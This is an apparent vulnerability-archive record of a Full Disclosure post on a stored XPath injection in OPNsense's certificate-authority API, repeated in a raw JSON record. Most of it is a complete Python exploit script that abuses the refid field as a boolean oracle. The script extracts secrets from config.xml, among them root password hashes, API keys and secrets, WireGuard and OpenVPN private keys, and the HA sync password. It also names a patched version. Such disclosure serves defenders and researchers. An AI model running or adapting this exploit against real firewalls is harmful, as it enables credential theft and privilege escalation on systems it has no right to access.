VULNARCHIVE

GCVE-1988-2026-0022

OPNsense XPATH Injection (CVE-2026-53582)

Description (en)

SUMMARY: a stored XPATH injection allows any user with just ca
manager/certificate manager perms to leak any secret key/any value in
config.xml, thus achieving privilege escalation and potentially remote
code execution. this can also likely be chained via csrf and some
clever hiding. see
https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r


== VULN ==
the primary vulnerable sink is here:

$refcount = count(Config::getInstance()->object()->xpath("//*[text() =
'{$node->refid}']")) - 1;

as we control node->refid, which can be seen in here:

 protected function setBaseHook($node)
    {
        if (empty((string)$node->refid)) {
            $node->refid = uniqid();
        }
        $error = false;
        if (!empty((string)$node->prv_payload)) {
            /** private key manually offered */
            $node->prv = base64_encode((string)$node->prv_payload);
        }

we know that if refid is empty it'll be a uniqid - which means its
meant to be alphanumeric. notably, there are no preg_match/regex
matches that check whether or not a user supplied refid isnt
alphanumeric. in this case, we can now test this by hitting this
endpoint:

POST /api/trust/ca/add HTTP/12.1
Content-Type: application/x-www-form-urlencoded

ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf
 () example com

to truly exploit this we can write a script that turns the xpath
injection we have into a decent boolean oracle, then slowly leak each
character. for example, an openvpn private key or a root password
hash.


== xp ==

import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3

urllib3.disable_warnings()
# yeah idk dude iiwiw lol

targs = {
    "wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
    "wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
    "hasyncpw": "//hasync/password",
    "roothash": "//system/user/password",
    "rootkey": "//system/user/apikeys/item/key",
    "rootsecret": "//system/user/apikeys/item/secret",
    "openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}

cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))


makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"

total = 0
lock = threading.Lock()

# mega ass
def sesh(a):
    s = requests.Session()
    s.auth = a
    s.verify = False
    return s


def prober(s, base, n):
    canary = makecanary()
    r = s.post(f"{base}/api/trust/ca/add", data={
        "ca[refid]": canary, "ca[descr]": f"p{n}",
        "ca[action]": "internal", "ca[commonname]": f"p{n}",
    }, timeout=30)
    return r.json().get("uuid", "n/a"), canary


def inj(s, base, ca_uuid, nx, condition):
    global total
    payload = f"{nx}' or ({condition}) or 'x'='"
    s.post(
        f"{base}/api/trust/ca/set/{ca_uuid}",
        data={"ca[refid]": payload},
        timeout=30,
    )
    r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
    with lock:
        total += 1
    ca = r.json().get("ca", {})
    # refcount = int(ca["refcount"])
    refcount = int(ca.get("refcount", "0"))
    return refcount > 0


def getlen(s, base, ca, nx, xpath):
    lo, hi = 0, 300
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
            lo = mid
        else:
            hi = mid - 1
    return lo


def binsrch(s, base, ca, nx, xpath, pos):
    cands = cset[:]
    while len(cands) > 1:
        midpoint = len(cands) // 2
        half = "".join(cands[:midpoint])
        cond = f"contains('{half}', substring({xpath},{pos},1))"
        if inj(s, base, ca, nx, cond):
            cands = cands[:midpoint]
        else:
            cands = cands[midpoint:]

    c = cands[0]
    if c == "'":
        lit = f'"{c}"'
    else:
        lit = f"'{c}'"

    cond = f"substring({xpath},{pos},1)={lit}"
    if inj(s, base, ca, nx, cond):
        return c
    return None


def extract(workers, base, xpath):
    s0, ca0, nx0 = workers[0]
    length = getlen(s0, base, ca0, nx0, xpath)
    if length == 0:
        return ""
    print(f"+ maybe {length} len")

    result = ["?"] * length

    wq = Queue()
    for w in workers:
        wq.put(w)
    # start grabbing
    def do(pos):
        s, ca, nx = wq.get()
        try:
            return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
        finally:
            wq.put((s, ca, nx))

    with ThreadPoolExecutor(max_workers=len(workers)) as pool:
       # for pos, ch in pool.map(doer_func(p), range(length)):
        for pos, ch in pool.map(lambda p: do(p), range(length)):
            if ch:
                result[pos] = ch
            sys.stdout.write(ch or "#")
            sys.stdout.flush()

    print()
    return "".join(result)


def main():
    global total
    print("xray")
    target_names = list(targs.keys())
    target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
    # i gave it a bs name
    parser = argparse.ArgumentParser(
        description="x-ray",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="extractables:\n" + target_list,
    )
    parser.add_argument("targ", help="base url")
    parser.add_argument("api_key", help="you need this")
    parser.add_argument("api_secret", help="this too")
    parser.add_argument("target", nargs="?", default="all",
choices=target_names + ["all"], help="target to extract")
    parser.add_argument("-w", "--workers", type=int, default=8,
help="how many workers in parallel")
    args = parser.parse_args()

    base = args.targ.rstrip("/")
    auth = (args.api_key, args.api_secret)


    s = sesh(auth)
    r = s.get(f"{base}/api/trust/ca/search", timeout=10)
    if r.status_code != 200:
        print("- bro")
        sys.exit(1)
    print("+ oh sweet we can access the ca api")


    workers = []

    for i in range(args.workers):
        ws = sesh(auth)
        uuid, nx = prober(ws, base, i)
        if not uuid:
            print("creating probe failed (prober)")
            sys.exit(1)
        workers.append((ws, uuid, nx))
    print(f"+ {args.workers} probing\n")

    # extract
    if args.target == "all":
        targets = targs
    else:
        targets = {args.target: targs[args.target]}
    for name, xpath in targets.items():
        print(f"+ {name}")
        s0, ca0, nx0 = workers[0]
        if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
            print("n/a")
            continue
        val = extract(workers, base, xpath)
        print(f"{repr(val)}  ({total} reqs)\n")
    # finally: # nvm
    # cleanup but not really beacuse im lazy
    for ws, ca, nx in workers:
    ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
    print(f"+ done {total}")


if __name__ == "__main__":
    main()


== PATCH/MITIG ==

update to 26.1.10. alternatively, add a preg_match guard and an input
mask to Ca.xml by hand (if youre about that life)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "XPATH Injection",
          "vendor": "Opnsense",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "evan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()->object()->xpath(\"//*[text() =\n'{$node->refid}']\")) - 1;\n\nas we control node->refid, which can be seen in here:\n\n protected function setBaseHook($node)\n    {\n        if (empty((string)$node->refid)) {\n            $node->refid = uniqid();\n        }\n        $error = false;\n        if (!empty((string)$node->prv_payload)) {\n            /** private key manually offered */\n            $node->prv = base64_encode((string)$node->prv_payload);\n        }\n\nwe know that if refid is empty it'll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n    \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n    \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n    \"hasyncpw\": \"//hasync/password\",\n    \"roothash\": \"//system/user/password\",\n    \"rootkey\": \"//system/user/apikeys/item/key\",\n    \"rootsecret\": \"//system/user/apikeys/item/secret\",\n    \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n    s = requests.Session()\n    s.auth = a\n    s.verify = False\n    return s\n\n\ndef prober(s, base, n):\n    canary = makecanary()\n    r = s.post(f\"{base}/api/trust/ca/add\", data={\n        \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n        \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n    }, timeout=30)\n    return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n    global total\n    payload = f\"{nx}' or ({condition}) or 'x'='\"\n    s.post(\n        f\"{base}/api/trust/ca/set/{ca_uuid}\",\n        data={\"ca[refid]\": payload},\n        timeout=30,\n    )\n    r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n    with lock:\n        total += 1\n    ca = r.json().get(\"ca\", {})\n    # refcount = int(ca[\"refcount\"])\n    refcount = int(ca.get(\"refcount\", \"0\"))\n    return refcount > 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n    lo, hi = 0, 300\n    while lo < hi:\n        mid = (lo + hi + 1) // 2\n        if inj(s, base, ca, nx, f\"string-length({xpath})>={mid}\"):\n            lo = mid\n        else:\n            hi = mid - 1\n    return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n    cands = cset[:]\n    while len(cands) > 1:\n        midpoint = len(cands) // 2\n        half = \"\".join(cands[:midpoint])\n        cond = f\"contains('{half}', substring({xpath},{pos},1))\"\n        if inj(s, base, ca, nx, cond):\n            cands = cands[:midpoint]\n        else:\n            cands = cands[midpoint:]\n\n    c = cands[0]\n    if c == \"'\":\n        lit = f'\"{c}\"'\n    else:\n        lit = f\"'{c}'\"\n\n    cond = f\"substring({xpath},{pos},1)={lit}\"\n    if inj(s, base, ca, nx, cond):\n        return c\n    return None\n\n\ndef extract(workers, base, xpath):\n    s0, ca0, nx0 = workers[0]\n    length = getlen(s0, base, ca0, nx0, xpath)\n    if length == 0:\n        return \"\"\n    print(f\"+ maybe {length} len\")\n\n    result = [\"?\"] * length\n\n    wq = Queue()\n    for w in workers:\n        wq.put(w)\n    # start grabbing\n    def do(pos):\n        s, ca, nx = wq.get()\n        try:\n            return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n        finally:\n            wq.put((s, ca, nx))\n\n    with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n       # for pos, ch in pool.map(doer_func(p), range(length)):\n        for pos, ch in pool.map(lambda p: do(p), range(length)):\n            if ch:\n                result[pos] = ch\n            sys.stdout.write(ch or \"#\")\n            sys.stdout.flush()\n\n    print()\n    return \"\".join(result)\n\n\ndef main():\n    global total\n    print(\"xray\")\n    target_names = list(targs.keys())\n    target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n    # i gave it a bs name\n    parser = argparse.ArgumentParser(\n        description=\"x-ray\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=\"extractables:\\n\" + target_list,\n    )\n    parser.add_argument(\"targ\", help=\"base url\")\n    parser.add_argument(\"api_key\", help=\"you need this\")\n    parser.add_argument(\"api_secret\", help=\"this too\")\n    parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n    parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n    args = parser.parse_args()\n\n    base = args.targ.rstrip(\"/\")\n    auth = (args.api_key, args.api_secret)\n\n\n    s = sesh(auth)\n    r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n    if r.status_code != 200:\n        print(\"- bro\")\n        sys.exit(1)\n    print(\"+ oh sweet we can access the ca api\")\n\n\n    workers = []\n\n    for i in range(args.workers):\n        ws = sesh(auth)\n        uuid, nx = prober(ws, base, i)\n        if not uuid:\n            print(\"creating probe failed (prober)\")\n            sys.exit(1)\n        workers.append((ws, uuid, nx))\n    print(f\"+ {args.workers} probing\\n\")\n\n    # extract\n    if args.target == \"all\":\n        targets = targs\n    else:\n        targets = {args.target: targs[args.target]}\n    for name, xpath in targets.items():\n        print(f\"+ {name}\")\n        s0, ca0, nx0 = workers[0]\n        if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n            print(\"n/a\")\n            continue\n        val = extract(workers, base, xpath)\n        print(f\"{repr(val)}  ({total} reqs)\\n\")\n    # finally: # nvm\n    # cleanup but not really beacuse im lazy\n    for ws, ca, nx in workers:\n    ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n    print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n    main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:35:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/18"
        },
        {
          "url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "OPNsense XPATH Injection (CVE-2026-53582)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0022",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18",
            "automated": true,
            "contentSha256": "f2fd662c60bf7a79731c49d8575d20f4fef0d531037d854d1e62a37da499b1d9",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-03T10:56:32Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-11T11:35:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0022"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}